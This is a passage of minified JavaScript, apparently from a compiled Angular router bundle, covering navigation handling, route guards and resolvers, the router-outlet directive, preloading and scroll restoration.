go,this.attachRef=null}}class go{constructor(){this.contexts=new Map}onChildOutletCreated(t,e){const n=this.getOrCreateContext(t);n.outlet=e,this.contexts.set(t,n)}onChildOutletDestroyed(t){const e=this.getContext(t);e&&(e.outlet=null,e.attachRef=null)}onOutletDeactivated(){const t=this.contexts;return this.contexts=new Map,t}onOutletReAttached(t){this.contexts=t}getOrCreateContext(t){let e=this.getContext(t);return e||(e=new fo,this.contexts.set(t,e)),e}getContext(t){return this.contexts.get(t)||null}}class mo{shouldProcessUrl(t){return!0}extract(t){return t}merge(t,e){return t}}function yo(t){throw t}function bo(t,e,n){return e.parse("/")}function vo(t,e){return(0,ne.of)(null)}const _o={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},Co={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"};let wo=(()=>{class t{constructor(t,e,n,i,o,s,a,c){this.rootComponentType=t,this.urlSerializer=e,this.rootContexts=n,this.location=i,this.config=c,this.lastSuccessfulNavigation=null,this.currentNavigation=null,this.disposed=!1,this.lastLocationChangeInfo=null,this.navigationId=0,this.currentPageId=0,this.isNgZoneEnabled=!1,this.events=new We.xQ,this.errorHandler=yo,this.malformedUriErrorHandler=bo,this.navigated=!1,this.lastSuccessfulId=-1,this.hooks={beforePreactivation:vo,afterPreactivation:vo},this.urlHandlingStrategy=new mo,this.routeReuseStrategy=new uo,this.onSameUrlNavigation="ignore",this.paramsInheritanceStrategy="emptyOnly",this.urlUpdateStrategy="deferred",this.relativeLinkResolution="corrected",this.canceledNavigationResolution="replace",this.ngModule=o.get(r.NgModuleRef),this.console=o.get(r.\u0275Console);const l=o.get(r.NgZone);this.isNgZoneEnabled=l instanceof r.NgZone&&r.NgZone.isInAngularZone(),this.resetConfig(c),this.currentUrlTree=new Mr(new Or([],{}),{},null),this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.configLoader=new po(s,a,t=>this.triggerEvent(new er(t)),t=>this.triggerEvent(new nr(t))),this.routerState=Yr(this.currentUrlTree,this.rootComponentType),this.transitions=new $e({id:0,targetPageId:0,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,extractedUrl:this.urlHandlingStrategy.extract(this.currentUrlTree),urlAfterRedirects:this.urlHandlingStrategy.extract(this.currentUrlTree),rawUrl:this.currentUrlTree,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:"imperative",restoredState:null,currentSnapshot:this.routerState.snapshot,targetSnapshot:null,currentRouterState:this.routerState,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.navigations=this.setupNavigations(this.transitions),this.processNavigations()}get browserPageId(){var t;return null===(t=this.location.getState())||void 0===t?void 0:t.\u0275routerPageId}setupNavigations(t){const e=this.events;return t.pipe(ae(t=>0!==t.id),(0,ue.U)(t=>Object.assign(Object.assign({},t),{extractedUrl:this.urlHandlingStrategy.extract(t.rawUrl)})),pn(t=>{let n=!1,r=!1;return(0,ne.of)(t).pipe((0,Vn.b)(t=>{this.currentNavigation={id:t.id,initialUrl:t.currentRawUrl,extractedUrl:t.extractedUrl,trigger:t.source,extras:t.extras,previousNavigation:this.lastSuccessfulNavigation?Object.assign(Object.assign({},this.lastSuccessfulNavigation),{previousNavigation:null}):null}}),pn(t=>{const n=this.browserUrlTree.toString(),i=!this.navigated||t.extractedUrl.toString()!==n||n!==this.currentUrlTree.toString();if(("reload"===this.onSameUrlNavigation||i)&&this.urlHandlingStrategy.shouldProcessUrl(t.rawUrl))return xo(t.source)&&(this.browserUrlTree=t.extractedUrl),(0,ne.of)(t).pipe(pn(t=>{const n=this.transitions.getValue();return e.next(new Wn(t.id,this.serializeUrl(t.extractedUrl),t.source,t.restoredState)),n!==this.transitions.getValue()?ln.E:Promise.resolve(t)}),function(t,e,n,r){return pn(i=>function(t,e,n,r,i){return new Wi(t,e,n,r,i).apply()}(t,e,n,i.extractedUrl,r).pipe((0,ue.U)(t=>Object.assign(Object.assign({},i),{urlAfterRedirects:t}))))}(this.ngModule.injector,this.configLoader,this.urlSerializer,this.config),(0,Vn.b)(t=>{this.currentNavigation=Object.assign(Object.assign({},this.currentNavigation),{finalUrl:t.urlAfterRedirects})}),function(t,e,n,i,o){return(0,ie.zg)(s=>function(t,e,n,i,o="emptyOnly",s="legacy"){try{const r=new no(t,e,n,i,o,s).recognize();return null===r?eo(new to):(0,ne.of)(r)}catch(r){return eo(r)}}(t,e,s.urlAfterRedirects,n(s.urlAfterRedirects),i,o).pipe((0,ue.U)(t=>Object.assign(Object.assign({},s),{targetSnapshot:t}))))}(this.rootComponentType,this.config,t=>this.serializeUrl(t),this.paramsInheritanceStrategy,this.relativeLinkResolution),(0,Vn.b)(t=>{"eager"===this.urlUpdateStrategy&&(t.extras.skipLocationChange||this.setBrowserUrl(t.urlAfterRedirects,t),this.browserUrlTree=t.urlAfterRedirects);const n=new Xn(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);e.next(n)}));if(i&&this.rawUrlTree&&this.urlHandlingStrategy.shouldProcessUrl(this.rawUrlTree)){const{id:n,extractedUrl:r,source:i,restoredState:o,extras:s}=t,a=new Wn(n,this.serializeUrl(r),i,o);e.next(a);const c=Yr(r,this.rootComponentType).snapshot;return(0,ne.of)(Object.assign(Object.assign({},t),{targetSnapshot:c,urlAfterRedirects:r,extras:Object.assign(Object.assign({},s),{skipLocationChange:!1,replaceUrl:!1})}))}return this.rawUrlTree=t.rawUrl,this.browserUrlTree=t.urlAfterRedirects,t.resolve(null),ln.E}),lo(t=>{const{targetSnapshot:e,id:n,extractedUrl:r,rawUrl:i,extras:{skipLocationChange:o,replaceUrl:s}}=t;return this.hooks.beforePreactivation(e,{navigationId:n,appliedUrlTree:r,rawUrlTree:i,skipLocationChange:!!o,replaceUrl:!!s})}),(0,Vn.b)(t=>{const e=new Zn(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);this.triggerEvent(e)}),(0,ue.U)(t=>Object.assign(Object.assign({},t),{guards:Xi(t.targetSnapshot,t.currentSnapshot,this.rootContexts)})),function(t,e){return(0,ie.zg)(n=>{const{targetSnapshot:r,currentSnapshot:i,guards:{canActivateChecks:o,canDeactivateChecks:s}}=n;return 0===s.length&&0===o.length?(0,ne.of)(Object.assign(Object.assign({},n),{guardsResult:!0})):function(t,e,n,r){return(0,qe.D)(t).pipe((0,ie.zg)(t=>function(t,e,n,r,i){const o=e&&e.routeConfig?e.routeConfig.canDeactivate:null;if(!o||0===o.length)return(0,ne.of)(!0);const s=o.map(o=>{const s=Zi(o,e,i);let a;if(function(t){return t&&Pi(t.canDeactivate)}(s))a=vr(s.canDeactivate(t,e,n,r));else{if(!Pi(s))throw new Error("Invalid CanDeactivate guard");a=vr(s(t,e,n,r))}return a.pipe(Fn())});return(0,ne.of)(s).pipe(Oi())}(t.component,t.route,n,e,r)),Fn(t=>!0!==t,!0))}(s,r,i,t).pipe((0,ie.zg)(n=>n&&function(t){return"boolean"==typeof t}(n)?function(t,e,n,r){return(0,qe.D)(e).pipe(oe(e=>cn(function(t,e){return null!==t&&e&&e(new rr(t)),(0,ne.of)(!0)}(e.route.parent,r),function(t,e){return null!==t&&e&&e(new or(t)),(0,ne.of)(!0)}(e.route,r),function(t,e,n){const r=e[e.length-1],i=e.slice(0,e.length-1).reverse().map(t=>function(t){const e=t.routeConfig?t.routeConfig.canActivateChild:null;return e&&0!==e.length?{node:t,guards:e}:null}(t)).filter(t=>null!==t).map(e=>un(()=>{const i=e.guards.map(i=>{const o=Zi(i,e.node,n);let s;if(function(t){return t&&Pi(t.canActivateChild)}(o))s=vr(o.canActivateChild(r,t));else{if(!Pi(o))throw new Error("Invalid CanActivateChild guard");s=vr(o(r,t))}return s.pipe(Fn())});return(0,ne.of)(i).pipe(Oi())}));return(0,ne.of)(i).pipe(Oi())}(t,e.path,n),function(t,e,n){const r=e.routeConfig?e.routeConfig.canActivate:null;if(!r||0===r.length)return(0,ne.of)(!0);const i=r.map(r=>un(()=>{const i=Zi(r,e,n);let o;if(function(t){return t&&Pi(t.canActivate)}(i))o=vr(i.canActivate(e,t));else{if(!Pi(i))throw new Error("Invalid CanActivate guard");o=vr(i(e,t))}return o.pipe(Fn())}));return(0,ne.of)(i).pipe(Oi())}(t,e.route,n))),Fn(t=>!0!==t,!0))}(r,o,t,e):(0,ne.of)(n)),(0,ue.U)(t=>Object.assign(Object.assign({},n),{guardsResult:t})))})}(this.ngModule.injector,t=>this.triggerEvent(t)),(0,Vn.b)(t=>{if(Si(t.guardsResult)){const e=hr(`Redirecting to "${this.serializeUrl(t.guardsResult)}"`);throw e.url=t.guardsResult,e}const e=new Yn(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot,!!t.guardsResult);this.triggerEvent(e)}),ae(t=>!!t.guardsResult||(this.restoreHistory(t),this.cancelNavigationTransition(t,""),!1)),lo(t=>{if(t.guards.canActivateChecks.length)return(0,ne.of)(t).pipe((0,Vn.b)(t=>{const e=new Jn(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);this.triggerEvent(e)}),pn(t=>{let e=!1;return(0,ne.of)(t).pipe(function(t,e){return(0,ie.zg)(n=>{const{targetSnapshot:r,guards:{canActivateChecks:i}}=n;if(!i.length)return(0,ne.of)(n);let o=0;return(0,qe.D)(i).pipe(oe(n=>function(t,e,n,r){return function(t,e,n,r){const i=Object.keys(t);if(0===i.length)return(0,ne.of)({});const o={};return(0,qe.D)(i).pipe((0,ie.zg)(i=>function(t,e,n,r){const i=Zi(t,e,r);return vr(i.resolve?i.resolve(e,n):i(e,n))}(t[i],e,n,r).pipe((0,Vn.b)(t=>{o[i]=t}))),On(1),(0,ie.zg)(()=>Object.keys(o).length===i.length?(0,ne.of)(o):ln.E))}(t._resolve,t,e,r).pipe((0,ue.U)(e=>(t._resolvedData=e,t.data=Object.assign(Object.assign({},t.data),ti(t,n).resolve),null)))}(n.route,r,t,e)),(0,Vn.b)(()=>o++),On(1),(0,ie.zg)(t=>o===i.length?(0,ne.of)(n):ln.E))})}(this.paramsInheritanceStrategy,this.ngModule.injector),(0,Vn.b)({next:()=>e=!0,complete:()=>{e||(this.restoreHistory(t),this.cancelNavigationTransition(t,"At least one route resolver didn't emit any value."))}}))}),(0,Vn.b)(t=>{const e=new tr(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);this.triggerEvent(e)}))}),lo(t=>{const{targetSnapshot:e,id:n,extractedUrl:r,rawUrl:i,extras:{skipLocationChange:o,replaceUrl:s}}=t;return this.hooks.afterPreactivation(e,{navigationId:n,appliedUrlTree:r,rawUrlTree:i,skipLocationChange:!!o,replaceUrl:!!s})}),(0,ue.U)(t=>{const e=function(t,e,n){const r=ai(t,e._root,n?n._root:void 0);return new Zr(r,e)}(this.routeReuseStrategy,t.targetSnapshot,t.currentRouterState);return Object.assign(Object.assign({},t),{targetRouterState:e})}),(0,Vn.b)(t=>{this.currentUrlTree=t.urlAfterRedirects,this.rawUrlTree=this.urlHandlingStrategy.merge(t.urlAfterRedirects,t.rawUrl),this.routerState=t.targetRouterState,"deferred"===this.urlUpdateStrategy&&(t.extras.skipLocationChange||this.setBrowserUrl(this.rawUrlTree,t),this.browserUrlTree=t.urlAfterRedirects)}),((t,e,n)=>(0,ue.U)(r=>(new Ci(e,r.targetRouterState,r.currentRouterState,n).activate(t),r)))(this.rootContexts,this.routeReuseStrategy,t=>this.triggerEvent(t)),(0,Vn.b)({next(){n=!0},complete(){n=!0}}),zn(()=>{var e;if(!n&&!r){const e=`Navigation ID ${t.id} is not equal to the current navigation id ${this.navigationId}`;"replace"===this.canceledNavigationResolution?(this.restoreHistory(t),this.cancelNavigationTransition(t,e)):this.cancelNavigationTransition(t,e)}(null===(e=this.currentNavigation)||void 0===e?void 0:e.id)===t.id&&(this.currentNavigation=null)}),Pn(n=>{if(r=!0,function(t){return t&&t[dr]}(n)){const r=Si(n.url);r||(this.navigated=!0,this.restoreHistory(t,!0));const i=new $n(t.id,this.serializeUrl(t.extractedUrl),n.message);e.next(i),r?setTimeout(()=>{const e=this.urlHandlingStrategy.merge(n.url,this.rawUrlTree),r={skipLocationChange:t.extras.skipLocationChange,replaceUrl:"eager"===this.urlUpdateStrategy||xo(t.source)};this.scheduleNavigation(e,"imperative",null,r,{resolve:t.resolve,reject:t.reject,promise:t.promise})},0):t.resolve(!1)}else{this.restoreHistory(t,!0);const r=new Qn(t.id,this.serializeUrl(t.extractedUrl),n);e.next(r);try{t.resolve(this.errorHandler(n))}catch(i){t.reject(i)}}return ln.E}))}))}resetRootComponentType(t){this.rootComponentType=t,this.routerState.root.component=this.rootComponentType}getTransition(){const t=this.transitions.value;return t.urlAfterRedirects=this.browserUrlTree,t}setTransition(t){this.transitions.next(Object.assign(Object.assign({},this.getTransition()),t))}initialNavigation(){this.setUpLocationChangeListener(),0===this.navigationId&&this.navigateByUrl(this.location.path(!0),{replaceUrl:!0})}setUpLocationChangeListener(){this.locationSubscription||(this.locationSubscription=this.location.subscribe(t=>{const e=this.extractLocationChangeInfoFromEvent(t);this.shouldScheduleNavigation(this.lastLocationChangeInfo,e)&&setTimeout(()=>{const{source:t,state:n,urlTree:r}=e,i={replaceUrl:!0};if(n){const t=Object.assign({},n);delete t.navigationId,delete t.\u0275routerPageId,0!==Object.keys(t).length&&(i.state=t)}this.scheduleNavigation(r,t,n,i)},0),this.lastLocationChangeInfo=e}))}extractLocationChangeInfoFromEvent(t){var e;return{source:"popstate"===t.type?"popstate":"hashchange",urlTree:this.parseUrl(t.url),state:(null===(e=t.state)||void 0===e?void 0:e.navigationId)?t.state:null,transitionId:this.getTransition().id}}shouldScheduleNavigation(t,e){if(!t)return!0;const n=e.urlTree.toString()===t.urlTree.toString();return e.transitionId!==t.transitionId||!n||!("hashchange"===e.source&&"popstate"===t.source||"popstate"===e.source&&"hashchange"===t.source)}get url(){return this.serializeUrl(this.currentUrlTree)}getCurrentNavigation(){return this.currentNavigation}triggerEvent(t){this.events.next(t)}resetConfig(t){Ti(t),this.config=t.map(Ai),this.navigated=!1,this.lastSuccessfulId=-1}ngOnDestroy(){this.dispose()}dispose(){this.transitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0}createUrlTree(t,e={}){const{relativeTo:n,queryParams:r,fragment:i,queryParamsHandling:o,preserveFragment:s}=e,a=n||this.routerState.root,c=s?this.currentUrlTree.fragment:i;let l=null;switch(o){case"merge":l=Object.assign(Object.assign({},this.currentUrlTree.queryParams),r);break;case"preserve":l=this.currentUrlTree.queryParams;break;default:l=r||null}return null!==l&&(l=this.removeEmptyProps(l)),function(t,e,n,r,i){if(0===n.length)return di(e.root,e.root,e,r,i);const o=function(t){if("string"==typeof t[0]&&1===t.length&&"/"===t[0])return new pi(!0,0,t);let e=0,n=!1;const r=t.reduce((t,r,i)=>{if("object"==typeof r&&null!=r){if(r.outlets){const e={};return br(r.outlets,(t,n)=>{e[n]="string"==typeof t?t.split("/"):t}),[...t,{outlets:e}]}if(r.segmentPath)return[...t,r.segmentPath]}return"string"!=typeof r?[...t,r]:0===i?(r.split("/").forEach((r,i)=>{0==i&&"."===r||(0==i&&""===r?n=!0:".."===r?e++:""!=r&&t.push(r))}),t):[...t,r]},[]);return new pi(n,e,r)}(n);if(o.toRoot())return di(e.root,new Or([],{}),e,r,i);const s=function(t,e,n){if(t.isAbsolute)return new fi(e.root,!0,0);if(-1===n.snapshot._lastPathIndex){const t=n.snapshot._urlSegment;return new fi(t,t===e.root,0)}const r=li(t.commands[0])?0:1;return function(t,e,n){let r=t,i=e,o=n;for(;o>i;){if(o-=i,r=r.parent,!r)throw new Error("Invalid number of '../'");i=r.segments.length}return new fi(r,!1,i-o)}(n.snapshot._urlSegment,n.snapshot._lastPathIndex+r,t.numberOfDoubleDots)}(o,e,t),a=s.processChildren?mi(s.segmentGroup,s.index,o.commands):gi(s.segmentGroup,s.index,o.commands);return di(s.segmentGroup,a,e,r,i)}(a,this.currentUrlTree,t,l,null!=c?c:null)}navigateByUrl(t,e={skipLocationChange:!1}){const n=Si(t)?t:this.parseUrl(t),r=this.urlHandlingStrategy.merge(n,this.rawUrlTree);return this.scheduleNavigation(r,"imperative",null,e)}navigate(t,e={skipLocationChange:!1}){return function(t){for(let e=0;e<t.length;e++){const n=t[e];if(null==n)throw new Error(`The requested path contains ${n} segment at index ${e}`)}}(t),this.navigateByUrl(this.createUrlTree(t,e),e)}serializeUrl(t){return this.urlSerializer.serialize(t)}parseUrl(t){let e;try{e=this.urlSerializer.parse(t)}catch(n){e=this.malformedUriErrorHandler(n,this.urlSerializer,t)}return e}isActive(t,e){let n;if(n=!0===e?Object.assign({},_o):!1===e?Object.assign({},Co):e,Si(t))return wr(this.currentUrlTree,t,n);const r=this.parseUrl(t);return wr(this.currentUrlTree,r,n)}removeEmptyProps(t){return Object.keys(t).reduce((e,n)=>{const r=t[n];return null!=r&&(e[n]=r),e},{})}processNavigations(){this.navigations.subscribe(t=>{this.navigated=!0,this.lastSuccessfulId=t.id,this.currentPageId=t.targetPageId,this.events.next(new Kn(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(this.currentUrlTree))),this.lastSuccessfulNavigation=this.currentNavigation,t.resolve(!0)},t=>{this.console.warn(`Unhandled Navigation Error: ${t}`)})}scheduleNavigation(t,e,n,r,i){var o,s;if(this.disposed)return Promise.resolve(!1);const a=this.getTransition(),c=xo(e)&&a&&!xo(a.source),l=(this.lastSuccessfulId===a.id||this.currentNavigation?a.rawUrl:a.urlAfterRedirects).toString()===t.toString();if(c&&l)return Promise.resolve(!0);let u,d,h;i?(u=i.resolve,d=i.reject,h=i.promise):h=new Promise((t,e)=>{u=t,d=e});const p=++this.navigationId;let f;return"computed"===this.canceledNavigationResolution?(0===this.currentPageId&&(n=this.location.getState()),f=n&&n.\u0275routerPageId?n.\u0275routerPageId:r.replaceUrl||r.skipLocationChange?null!==(o=this.browserPageId)&&void 0!==o?o:0:(null!==(s=this.browserPageId)&&void 0!==s?s:0)+1):f=0,this.setTransition({id:p,targetPageId:f,source:e,restoredState:n,currentUrlTree:this.currentUrlTree,currentRawUrl:this.rawUrlTree,rawUrl:t,extras:r,resolve:u,reject:d,promise:h,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),h.catch(t=>Promise.reject(t))}setBrowserUrl(t,e){const n=this.urlSerializer.serialize(t),r=Object.assign(Object.assign({},e.extras.state),this.generateNgRouterState(e.id,e.targetPageId));this.location.isCurrentPathEqualTo(n)||e.extras.replaceUrl?this.location.replaceState(n,"",r):this.location.go(n,"",r)}restoreHistory(t,e=!1){var n,r;if("computed"===this.canceledNavigationResolution){const e=this.currentPageId-t.targetPageId;"popstate"!==t.source&&"eager"!==this.urlUpdateStrategy&&this.currentUrlTree!==(null===(n=this.currentNavigation)||void 0===n?void 0:n.finalUrl)||0===e?this.currentUrlTree===(null===(r=this.currentNavigation)||void 0===r?void 0:r.finalUrl)&&0===e&&(this.resetState(t),this.browserUrlTree=t.currentUrlTree,this.resetUrlToCurrentUrlTree()):this.location.historyGo(e)}else"replace"===this.canceledNavigationResolution&&(e&&this.resetState(t),this.resetUrlToCurrentUrlTree())}resetState(t){this.routerState=t.currentRouterState,this.currentUrlTree=t.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,t.rawUrl)}resetUrlToCurrentUrlTree(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}cancelNavigationTransition(t,e){const n=new $n(t.id,this.serializeUrl(t.extractedUrl),e);this.triggerEvent(n),t.resolve(!1)}generateNgRouterState(t,e){return"computed"===this.canceledNavigationResolution?{navigationId:t,"\u0275routerPageId":e}:{navigationId:t}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(r.Type),r.\u0275\u0275inject(Ir),r.\u0275\u0275inject(go),r.\u0275\u0275inject(C),r.\u0275\u0275inject(r.Injector),r.\u0275\u0275inject(r.NgModuleFactoryLoader),r.\u0275\u0275inject(r.Compiler),r.\u0275\u0275inject(void 0))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();function xo(t){return"imperative"!==t}let Po=(()=>{class t{constructor(t,e,n,i,o){this.parentContexts=t,this.location=e,this.resolver=n,this.changeDetector=o,this.activated=null,this._activatedRoute=null,this.activateEvents=new r.EventEmitter,this.deactivateEvents=new r.EventEmitter,this.name=i||cr,t.onChildOutletCreated(this.name,this)}ngOnDestroy(){this.parentContexts.onChildOutletDestroyed(this.name)}ngOnInit(){if(!this.activated){const t=this.parentContexts.getContext(this.name);t&&t.route&&(t.attachRef?this.attach(t.attachRef,t.route):this.activateWith(t.route,t.resolver||null))}}get isActivated(){return!!this.activated}get component(){if(!this.activated)throw new Error("Outlet is not activated");return this.activated.instance}get activatedRoute(){if(!this.activated)throw new Error("Outlet is not activated");return this._activatedRoute}get activatedRouteData(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}detach(){if(!this.activated)throw new Error("Outlet is not activated");this.location.detach();const t=this.activated;return this.activated=null,this._activatedRoute=null,t}attach(t,e){this.activated=t,this._activatedRoute=e,this.location.insert(t.hostView)}deactivate(){if(this.activated){const t=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(t)}}activateWith(t,e){if(this.isActivated)throw new Error("Cannot activate an already activated outlet");this._activatedRoute=t;const n=(e=e||this.resolver).resolveComponentFactory(t._futureSnapshot.routeConfig.component),r=this.parentContexts.getOrCreateContext(this.name).children,i=new So(t,r,this.location.injector);this.activated=this.location.createComponent(n,this.location.length,i),this.changeDetector.markForCheck(),this.activateEvents.emit(this.activated.instance)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(go),r.\u0275\u0275directiveInject(r.ViewContainerRef),r.\u0275\u0275directiveInject(r.ComponentFactoryResolver),r.\u0275\u0275injectAttribute("name"),r.\u0275\u0275directiveInject(r.ChangeDetectorRef))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,selectors:[["router-outlet"]],outputs:{activateEvents:"activate",deactivateEvents:"deactivate"},exportAs:["outlet"]}),t})();class So{constructor(t,e,n){this.route=t,this.childContexts=e,this.parent=n}get(t,e){return t===Jr?this.route:t===go?this.childContexts:this.parent.get(t,e)}}class Mo{}class Oo{preload(t,e){return(0,ne.of)(null)}}let Eo=(()=>{class t{constructor(t,e,n,r,i){this.router=t,this.injector=r,this.preloadingStrategy=i,this.loader=new po(e,n,e=>t.triggerEvent(new er(e)),e=>t.triggerEvent(new nr(e)))}setUpPreloading(){this.subscription=this.router.events.pipe(ae(t=>t instanceof Kn),oe(()=>this.preload())).subscribe(()=>{})}preload(){const t=this.injector.get(r.NgModuleRef);return this.processRoutes(t,this.router.config)}ngOnDestroy(){this.subscription&&this.subscription.unsubscribe()}processRoutes(t,e){const n=[];for(const r of e)if(r.loadChildren&&!r.canLoad&&r._loadedConfig){const t=r._loadedConfig;n.push(this.processRoutes(t.module,t.routes))}else r.loadChildren&&!r.canLoad?n.push(this.preloadConfig(t,r)):r.children&&n.push(this.processRoutes(t,r.children));return(0,qe.D)(n).pipe((0,an.J)(),(0,ue.U)(t=>{}))}preloadConfig(t,e){return this.preloadingStrategy.preload(e,()=>(e._loadedConfig?(0,ne.of)(e._loadedConfig):this.loader.load(t.injector,e)).pipe((0,ie.zg)(t=>(e._loadedConfig=t,this.processRoutes(t.module,t.routes)))))}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(wo),r.\u0275\u0275inject(r.NgModuleFactoryLoader),r.\u0275\u0275inject(r.Compiler),r.\u0275\u0275inject(r.Injector),r.\u0275\u0275inject(Mo))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),To=(()=>{class t{constructor(t,e,n={}){this.router=t,this.viewportScroller=e,this.options=n,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},n.scrollPositionRestoration=n.scrollPositionRestoration||"disabled",n.anchorScrolling=n.anchorScrolling||"disabled"}init(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}createScrollEvents(){return this.router.events.subscribe(t=>{t instanceof Wn?(this.store[this.lastId]=this.viewportScroller.getScrollPosition(),this.lastSource=t.navigationTrigger,this.restoredId=t.restoredState?t.restoredState.navigationId:0):t instanceof Kn&&(this.lastId=t.id,this.scheduleScrollEvent(t,this.router.parseUrl(t.urlAfterRedirects).fragment))})}consumeScrollEvents(){return this.router.events.subscribe(t=>{t instanceof ar&&(t.position?"top"===this.options.scrollPositionRestoration?this.viewportScroller.scrollToPosition([0,0]):"enabled"===this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition(t.position):t.anchor&&"enabled"===this.options.anchorScrolling?this.viewportScroller.scrollToAnchor(t.anchor):"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.scrollToPosition([0,0]))})}scheduleScrollEvent(t,e){this.router.triggerEvent(new ar(t,"popstate"===this.lastSource?this.store[this.restoredId]:null,e))}ngOnDestroy(){this.routerEventsSubscription&&this.routerEventsSubscription.unsubscribe(),this.scrollEventsSubscription&&this.scrollEventsSubscription.unsubscribe()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(wo),r.\u0275\u0275inject(wt),r.\u0275\u0275inject(void 0))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const Io=new r.InjectionToken("ROUTER_CONFIGURATION"),ko=new r.InjectionToken("ROUTER_FORROOT_GUARD"),Ao=[C,{provide:Ir,useClass:kr},{provide:wo,useFactory:function(t,e,n,r,i,o,s,a={},c,l){const u=new wo(null,t,e,n,r,i,o,mr(s));return c&&(u.urlHandlingStrategy=c),l&&(u.routeReuseStrategy=l),function(t,e){t.errorHandler&&(e.errorHandler=t.errorHandler),t.malformedUriErrorHandler&&(e.malformedUriErrorHandler=t.malformedUriErrorHandler),t.onSameUrlNavigation&&(e.onSameUrlNavigation=t.onSameUrlNavigation),t.paramsInheritanceStrategy&&(e.paramsInheritanceStrategy=t.paramsInheritanceStrategy),t.relativeLinkResolution&&(e.relativeLinkResolution=t.relativeLinkResolution),t.urlUpdateStrategy&&(e.urlUpdateStrategy=t.urlUpdateStrategy)}(a,u),a.enableTracing&&u.events.subscribe(t=>{var e,n;null===(e=console.group)||void 0===e||e.call(console,`Router Event: ${t.constructor.name}`),console.log(t.toString()),console.log(t),null===(n=console.groupEnd)||void 0===n||n.call(console)}),u},deps:[Ir,go,C,r.Injector,r.NgModuleFactoryLoader,r.Compiler,ho,Io,[class{},new r.Optional],[class{},new r.Optional]]},go,{provide:Jr,useFactory:function(t){return t.routerState.root},deps:[wo]},{provide:r.NgModuleFactoryLoader,useClass:r.SystemJsNgModuleLoader},Eo,Oo,class{preload(t,e){return e().pipe(Pn(()=>(0,ne.of)(null)))}},{provide:Io,useValue:{enableTracing:!1}}];function Do(){return new r.NgProbeToken("Router",wo)}let No=(()=>{class t{constructor(t,e){}static forRoot(e,n){return{ngModule:t,providers:[Ao,Fo(e),{provide:ko,useFactory:jo,deps:[[wo,new r.Optional,new r.SkipSelf]]},{provide:Io,useValue:n||{}},{provide:m,useFactory:Lo,deps:[a,[new r.Inject(b),new r.Optional],Io]},{provide:To,useFactory:Ro,deps:[wo,wt,Io]},{provide:Mo,useExisting:n&&n.preloadingStrategy?n.preloadingStrategy:Oo},{provide:r.NgProbeToken,multi:!0,useFactory:Do},[Vo,{provide:r.APP_INITIALIZER,multi:!0,useFactory:Bo,deps:[Vo]},{provide:zo,useFactory:Ho,deps:[Vo]},{provide:r.APP_BOOTSTRAP_LISTENER,multi:!0,useExisting:zo}]]}}static forChild(e){return{ngModule:t,providers:[Fo(e)]}}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(ko,8),r.\u0275\u0275inject(wo,8))},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({}),t})();function Ro(t,e,n){return n.scrollOffset&&e.setOffset(n.scrollOffset),new To(t,e,n)}function Lo(t,e,n={}){return n.useHash?new _(t,e):new v(t,e)}function jo(t){return"guarded"}function Fo(t){return[{provide:r.ANALYZE_FOR_ENTRY_COMPONENTS,multi:!0,useValue:t},{provide:ho,multi:!0,useValue:t}]}let Vo=(()=>{class t{constructor(t){this.injector=t,this.initNavigation=!1,this.destroyed=!1,this.resultOfPreactivationDone=new We.xQ}appInitializer(){return this.injector.get(l,Promise.resolve(null)).then(()=>{if(this.destroyed)return Promise.resolve(!0);let t=null;const e=new Promise(e=>t=e),n=this.injector.get(wo),r=this.injector.get(Io);return"disabled"===r.initialNavigation?(n.setUpLocationChangeListener(),t(!0)):"enabled"===r.initialNavigation||"enabledBlocking"===r.initialNavigation?(n.hooks.afterPreactivation=()=>this.initNavigation?(0,ne.of)(null):(this.initNavigation=!0,t(!0),this.resultOfPreactivationDone),n.initialNavigation()):t(!0),e})}bootstrapListener(t){const e=this.injector.get(Io),n=this.injector.get(Eo),i=this.injector.get(To),o=this.injector.get(wo),s=this.injector.get(r.ApplicationRef);t===s.components[0]&&(("enabledNonBlocking"===e.initialNavigation||void 